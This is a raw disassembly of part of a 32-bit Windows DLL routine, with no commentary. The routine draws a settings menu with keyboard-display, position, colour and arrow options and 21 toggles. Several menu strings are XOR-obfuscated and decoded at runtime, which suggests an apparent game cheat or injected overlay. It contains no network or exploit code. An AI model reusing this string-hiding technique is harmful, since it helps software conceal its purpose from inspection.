mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov esi, dword [esi + 0x1bec]
xor edx, edx
add esi, 0xe0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.Keyboard_display
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x10102813
inc ecx
test edi, edi
je 0x10102801
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10102806
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push 1
push 0
mov dword [eax + ecx*4], edx
lea edx, [esp + 0x1c]
inc dword [esi]
mov ecx, 0x101ec3bc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.1016bb30
test al, al
je 0x10102895
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x1010287d
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x1010288c
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x101028b8
mov dword [esi + 0x1c74], 0
jmp 0x10102b4f
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x101028e8
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x101028f7
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x10102b4f
push 0
push str._.3f
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x3f800000
push eax
mov eax, dword [0x10224ca0]
mov edx, 8
add eax, 0x3800
mov ecx, str.Position
push eax
call fcn.10170bf0
mov eax, dword [0x101eff2c]
movq xmm0, qword [str.cY_D]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x3f0], eax
mov ax, word [0x101eff30]
mov word [esp + 0x3f4], ax
mov al, byte [0x101eff32]
mov byte [esp + 0x3f6], al
xor eax, eax
cmp dword [0x10225d40], 2
movq qword [esp + 0x3e8], xmm0
mov dword [esp + 0x14], eax
jl 0x10102aa2
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.cY_D]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x3e8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x3ec]
xorps xmm1, xmm0
movd dword [esp + 0x3ec], xmm1
mov ebx, dword [esp + 0x14]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x3e8], cl
inc ebx
cmp ebx, 0xf
jl 0x10102aa6
lea edx, [esi + 0x3804]
lea ecx, [esp + 0x3e8]
call fcn.1016d3d0
mov edx, dword [0x10224ca0]
mov ecx, str.Color
push 0
push 0
add edx, 0x3805
push 0
push 0
lea eax, [edx + 0x10]
push eax
lea eax, [edx + 0x14]
push eax
lea eax, [edx + 0xc]
push eax
call fcn.100be720
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x10102b33
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10102b43
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10102bca
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov ax, word [0x101ee510]
mov esi, dword [0x10224ca0]
movq xmm0, qword [str.y_VZWTBXJJ:]
add esi, 0x3394
mov word [esp + 0x25c], ax
xor ebx, ebx
mov al, byte [0x101ee512]
mov byte [esp + 0x25e], al
movq qword [esp + 0x254], xmm0
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x254], cl
inc ebx
cmp ebx, 0xb
jl 0x10102c03
mov edx, esi
lea ecx, [esp + 0x254]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [esi + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10102ca7
movss xmm0, dword [esi + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov esi, dword [esi + 0x1bec]
xor edx, edx
add esi, 0xe0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.COCKASJIFHAEWIGHUW
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x10102cf7
inc ecx
test edi, edi
je 0x10102ce5
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10102cea
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push 1
push 0
mov dword [eax + ecx*4], edx
lea edx, [esp + 0x1c]
inc dword [esi]
mov ecx, 0x101ec3bc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.1016bb30
test al, al
je 0x10102d79
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10102d61
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10102d70
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x10102d9c
mov dword [esi + 0x1c74], 0
jmp 0x101037f7
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10102dcc
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10102ddb
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x101037f7
mov eax, dword [0x10225d4c]
mov ecx, dword [esp + 0x40]
mov ecx, dword [ecx + eax*4]
mov eax, dword [0x10353698]
cmp eax, dword [ecx + 4]
jle 0x10102e38
push 0x10353698
call fcn.1019a827
add esp, 4
cmp dword [0x10353698], 0xffffffff
jne 0x10102e38
push 0x101c6d20
call fcn.1019a573
add esp, 4
push 0x10353698
call fcn.1019a7d6
add esp, 4
mov esi, dword [0x10224ca0]
xor al, al
mov byte [esp + 0x3f], al
mov eax, dword [str.sF5]
mov dword [esp + 0x1f0], eax
mov ax, word [0x101ee3e8]
mov word [esp + 0x1f4], ax
test ah, ah
je 0x10102e90
xor ebx, ebx
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x1f0], cl
inc ebx
cmp ebx, 6
jl 0x10102e64
push 0
push 0
push 0
push 0
lea eax, [esi + 0x33ac]
push eax
lea eax, [esi + 0x33b0]
push eax
lea eax, [esi + 0x33a8]
push eax
lea edx, [esi + 0x339c]
lea ecx, [esp + 0x20c]
call fcn.100be720
movups xmm0, xmmword [str.wP_VGPXD_9oUXXL]
mov ax, word [0x101ef780]
xor edx, edx
mov edi, dword [0x10225d40]
mov word [esp + 0x728], ax
mov al, byte [0x101ef782]
mov byte [esp + 0x72a], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x710], xmm0
movq xmm0, qword [str.3_07_.:IJ]
movq qword [esp + 0x720], xmm0
cmp edi, 2
jl 0x10103065
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x710]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x710], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x714]
xorps xmm1, xmm0
movd dword [esp + edx + 0x714], xmm1
add edx, 8
cmp edx, 0x18
jl 0x10102f33
mov dword [esp + 0x10], edx
cmp edx, 0x1b
jl 0x10103065
mov ecx, dword [0x10224ca0]
mov al, byte [0x101eff90]
add ecx, 0x3390
mov dword [esp + 0x14], ecx
mov byte [esp + 0x418], al
jmp 0x101030b6
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x710], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1b
jl 0x10103065
mov al, byte [0x101eff90]
mov byte [esp + 0x418], al
mov eax, dword [0x10224ca0]
add eax, 0x3390
mov dword [esp + 0x14], eax
movups xmm0, xmmword [str.y_VZWTBXJJ]
xor edx, edx
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x408], xmm0
cmp edi, 2
jl 0x10103214
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x408]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x408], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x40c]
xorps xmm1, xmm0
movd dword [esp + edx + 0x40c], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10103100
mov dword [esp + 0x10], edx
cmp edx, 0x11
jge 0x1010324b
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x408], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x11
jl 0x10103214
xor esi, esi
lea edx, [esp + 0x710]
cmp byte [esp + 0x710], 0
je 0x1010327c
nop
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10103265
sub ecx, edi
inc edx
add edx, ecx
inc esi
cmp byte [edx], al
jne 0x10103260
mov edi, dword [0x10225d40]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x710]
push 1
push 0xffffffffffffffff
push esi
push eax
push 0x1016ee10
lea ecx, [esp + 0x41c]
call fcn.1016ee70
mov esi, dword [0x10224ca0]
xor edx, edx
mov ecx, 1
nop dword [eax + eax]
mov eax, ecx
and eax, dword [esi + 0x3398]
cmp eax, ecx
sete al
rol ecx, 1
mov byte [edx + 0x1035005c], al
inc edx
cmp edx, 0x15
jb 0x101032b0
cmp dword [0x10224ba8], 0xf
mov esi, 0x10224b94
mov eax, dword [str.KQUL_]
movq xmm0, qword [0x101ef454]
mov dword [esp + 0x178], eax
mov al, byte [0x101ef460]
movq qword [esp + 0x170], xmm0
mov byte [esp + 0x17c], al
jbe 0x10103308
mov esi, dword [0x10224b94]
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10103423
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef454]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x170], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x174]
xorps xmm1, xmm0
movd dword [esp + 0x174], xmm1
mov ebx, dword [esp + 0x14]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x170], cl
inc ebx
cmp ebx, 0xd
jl 0x10103427
push 1
push 0
mov edx, esi
lea ecx, [esp + 0x178]
call fcn.1016df70
mov ebx, dword [esp + 0x1c]
test al, al
je 0x10103513
push 0
push 0x101d04ee
mov ecx, 0x10224b94
call fcn.10022cd0
xor esi, esi
nop word [eax + eax]
mov ecx, dword [esi*4 + 0x101ee620]
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
mov dl, byte [esi + 0x1035005c]
push 1
call fcn.1017c8e0
test al, al
je 0x101034cd
cmp byte [esi + 0x1035005c], 0
sete al
mov byte [esi + 0x1035005c], al
inc esi
cmp esi, 0x15
jb 0x10103490
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x101034f7
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10103507
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
xor esi, esi
cmp byte [esp + 0x3f], 0
jne 0x10103532
push 0
push 0x101d04ee
mov ecx, 0x10224b94
call fcn.10022cd0
mov byte [esp + 0x3f], 1
cmp byte [esi + 0x1035005c], 0
je 0x10103798
cmp dword [0x10224ba4], 0
xorps xmm0, xmm0
mov edx, dword [esi*4 + 0x101ee620]
je 0x101035f7
or ebx, 0x40
mov dword [esp + 0x7cc], 2
movups xmmword [esp + 0x7bc], xmm0
mov eax, 0x202c
mov dword [esp + 0x7d0], 0xf
or ebx, 0x80
mov word [esp + 0x7bc], ax
push edx
lea ecx, [esp + 0x7c0]
mov byte [esp + 0x7c2], 0
mov dword [esp + 0x20], ebx
call fcn.10020800
mov dword [esp + 0x7b4], 0
xorps xmm0, xmm0
movups xmmword [esp + 0x7a4], xmm0
mov dword [esp + 0x7b8], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x7a4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x7b4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0x7a4]
jmp 0x10103642
mov ecx, edx
mov dword [esp + 0x8d8], 0
or ebx, 0x100
mov dword [esp + 0x8dc], 0
mov dword [esp + 0x1c], ebx
movups xmmword [esp + 0x8c8], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10103624
sub ecx, edi
push ecx
push edx
lea ecx, [esp + 0x8d0]
call fcn.10027940
lea eax, [esp + 0x8c8]
push eax
mov ecx, 0x10224b94
call fcn.10020870
test ebx, 0x100
je 0x101036b9
mov ecx, dword [esp + 0x8dc]
and ebx, 0xfffffeff
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x1010369b
mov edx, dword [esp + 0x8c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10103691
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x8d8], 0
mov dword [esp + 0x8dc], 0xf
mov byte [esp + 0x8c8], 0
test bl, bl
jns 0x10103721
mov ecx, dword [esp + 0x7b8]
and ebx, 0xffffff7f
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x10103703
mov edx, dword [esp + 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x101036f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x7b4], 0
mov dword [esp + 0x7b8], 0xf
mov byte [esp + 0x7a4], 0
test bl, 0x40
je 0x10103787
mov ecx, dword [esp + 0x7d0]
and ebx, 0xffffffbf
mov dword [esp + 0x1c], ebx
cmp ecx, 0xf
jbe 0x10103769
mov edx, dword [esp + 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1010375f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov dword [esp + 0x7cc], 0
mov dword [esp + 0x7d0], 0xf
mov byte [esp + 0x7bc], 0
mov ecx, dword [0x10224ca0]
mov eax, dword [ecx + 0x3398]
bts eax, esi
jmp 0x101037a7
mov ecx, dword [0x10224ca0]
mov eax, dword [ecx + 0x3398]
btr eax, esi
inc esi
mov dword [ecx + 0x3398], eax
cmp esi, 0x15
jb 0x10103515
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x101037db
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x101037eb
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov esi, dword [0x10224ca0]
mov ax, word [0x101ee274]
add esi, 0xacf
movq xmm0, qword [0x101ee26c]
movq qword [esp + 0x560], xmm0
mov word [esp + 0x568], ax
test ah, ah
je 0x1010386c
xor ebx, ebx
nop dword [eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x560], cl
inc ebx
cmp ebx, 0xa
jl 0x10103840
lea eax, [esi + 0x16]
mov edx, esi
push eax
push 0
push 0
lea eax, [esi + 0x15]
push eax
lea eax, [esi + 0x10]
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0xc]
push eax
lea ecx, [esp + 0x57c]
call fcn.100be720
mov eax, dword [0x103501f8]
xor edx, edx
mov esi, dword [eax + 0x1bec]
mov eax, dword [esi + 0xe8]
add esi, 0xe0
mov ecx, dword [esi]
push dword [eax + ecx*4 - 4]
mov ecx, str.aa_arrowss
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x101038ea
inc ecx
test edi, edi
je 0x101038d8
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x101038dd
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
mov dword [eax + ecx*4], edx
inc dword [esi]
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10103962
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
push 1
push 0
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0
mov ecx, 0x101ec3bc
mov dword [esp + 0x20], 0
call fcn.1016bb30
test al, al
je 0x101039d6
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x101039be
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x101039cd
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x10103cce
mov dword [esi + 0x1c74], 0
mov edi, dword [0x10225d40]
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10103a79
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov eax, dword [0x101ee12c]
mov esi, dword [0x10224ca0]
movq xmm0, qword [0x101ee124]
add esi, 0x199e
mov dword [esp + 0x168], eax
mov ax, word [0x101ee130]
mov word [esp + 0x16c], ax
mov al, byte [0x101ee132]
mov byte [esp + 0x16e], al
xor eax, eax
movq qword [esp + 0x160], xmm0
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10103bd7
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
